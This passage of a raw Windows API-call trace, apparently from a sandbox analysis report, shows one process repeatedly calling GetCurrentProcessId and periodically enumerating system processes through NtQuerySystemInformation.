returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.024] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.025] GetCurrentProcessId () returned 0xd70 [0128.026] GetCurrentProcessId () returned 0xd70 [0128.026] GetCurrentProcessId () returned 0xd70 [0128.026] GetCurrentProcessId () returned 0xd70 [0128.026] GetCurrentProcessId () returned 0xd70 [0128.026] GetCurrentProcessId () returned 0xd70 [0128.026] GetCurrentProcessId () returned 0xd70 [0128.026] GetCurrentProcessId () returned 0xd70 [0128.026] GetCurrentProcessId () returned 0xd70 [0128.026] GetCurrentProcessId () returned 0xd70 [0128.026] GetCurrentProcessId () returned 0xd70 [0128.026] GetCurrentProcessId () returned 0xd70 [0128.026] GetCurrentProcessId () returned 0xd70 [0128.026] GetCurrentProcessId () returned 0xd70 [0128.533] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c1b8) returned 0x0 [0128.534] GetCurrentProcessId () returned 0xd70 [0128.534] GetCurrentProcessId () returned 0xd70 [0128.534] GetCurrentProcessId () returned 0xd70 [0128.534] GetCurrentProcessId () returned 0xd70 [0128.534] GetCurrentProcessId () returned 0xd70 [0128.534] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.535] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.536] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.537] GetCurrentProcessId () returned 0xd70 [0128.538] GetCurrentProcessId () returned 0xd70 [0129.202] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c748) returned 0x0 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.204] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.205] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.206] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.207] GetCurrentProcessId () returned 0xd70 [0129.763] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c748) returned 0x0 [0129.777] GetCurrentProcessId () returned 0xd70 [0129.777] GetCurrentProcessId () returned 0xd70 [0129.777] GetCurrentProcessId () returned 0xd70 [0129.777] GetCurrentProcessId () returned 0xd70 [0129.777] GetCurrentProcessId () returned 0xd70 [0129.777] GetCurrentProcessId () returned 0xd70 [0129.777] GetCurrentProcessId () returned 0xd70 [0129.777] GetCurrentProcessId () returned 0xd70 [0129.777] GetCurrentProcessId () returned 0xd70 [0129.777] GetCurrentProcessId () returned 0xd70 [0129.777] GetCurrentProcessId () returned 0xd70 [0129.777] GetCurrentProcessId () returned 0xd70 [0129.777] GetCurrentProcessId () returned 0xd70 [0129.777] GetCurrentProcessId () returned 0xd70 [0129.777] GetCurrentProcessId () returned 0xd70 [0129.804] GetCurrentProcessId () returned 0xd70 [0129.804] GetCurrentProcessId () returned 0xd70 [0129.804] GetCurrentProcessId () returned 0xd70 [0129.804] GetCurrentProcessId () returned 0xd70 [0129.804] GetCurrentProcessId () returned 0xd70 [0129.804] GetCurrentProcessId () returned 0xd70 [0129.804] GetCurrentProcessId () returned 0xd70 [0129.804] GetCurrentProcessId () returned 0xd70 [0129.804] GetCurrentProcessId () returned 0xd70 [0129.804] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.805] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.806] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0129.807] GetCurrentProcessId () returned 0xd70 [0130.345] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c3b8) returned 0x0 [0130.865] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c208) returned 0x0 [0130.870] GetCurrentProcessId () returned 0xd70 [0130.870] GetCurrentProcessId () returned 0xd70 [0130.870] GetCurrentProcessId () returned 0xd70 [0130.870] GetCurrentProcessId () returned 0xd70 [0130.870] GetCurrentProcessId () returned 0xd70 [0130.870] GetCurrentProcessId () returned 0xd70 [0130.870] GetCurrentProcessId () returned 0xd70 [0130.870] GetCurrentProcessId () returned 0xd70 [0130.870] GetCurrentProcessId () returned 0xd70 [0130.870] GetCurrentProcessId () returned 0xd70 [0130.870] GetCurrentProcessId () returned 0xd70 [0130.870] GetCurrentProcessId () returned 0xd70 [0130.870] GetCurrentProcessId () returned 0xd70 [0130.870] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.871] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.872] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.873] GetCurrentProcessId () returned 0xd70 [0130.874] GetCurrentProcessId () returned 0xd70 [0130.874] GetCurrentProcessId () returned 0xd70 [0130.874] GetCurrentProcessId () returned 0xd70 [0130.874] GetCurrentProcessId () returned 0xd70 [0130.874] GetCurrentProcessId () returned 0xd70 [0130.874] GetCurrentProcessId () returned 0xd70 [0130.874] GetCurrentProcessId () returned 0xd70 [0131.388] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c258) returned 0x0 [0131.394] GetCurrentProcessId () returned 0xd70 [0131.394] GetCurrentProcessId () returned 0xd70 [0131.394] GetCurrentProcessId () returned 0xd70 [0131.394] GetCurrentProcessId () returned 0xd70 [0131.394] GetCurrentProcessId () returned 0xd70 [0131.394] GetCurrentProcessId () returned 0xd70 [0131.394] GetCurrentProcessId () returned 0xd70 [0131.394] GetCurrentProcessId () returned 0xd70 [0131.394] GetCurrentProcessId () returned 0xd70 [0131.394] GetCurrentProcessId () returned 0xd70 [0131.394] GetCurrentProcessId () returned 0xd70 [0131.394] GetCurrentProcessId () returned 0xd70 [0131.394] GetCurrentProcessId () returned 0xd70 [0131.394] GetCurrentProcessId () returned 0xd70 [0131.394] GetCurrentProcessId () returned 0xd70 [0131.394] GetCurrentProcessId () returned 0xd70 [0131.394] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.395] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 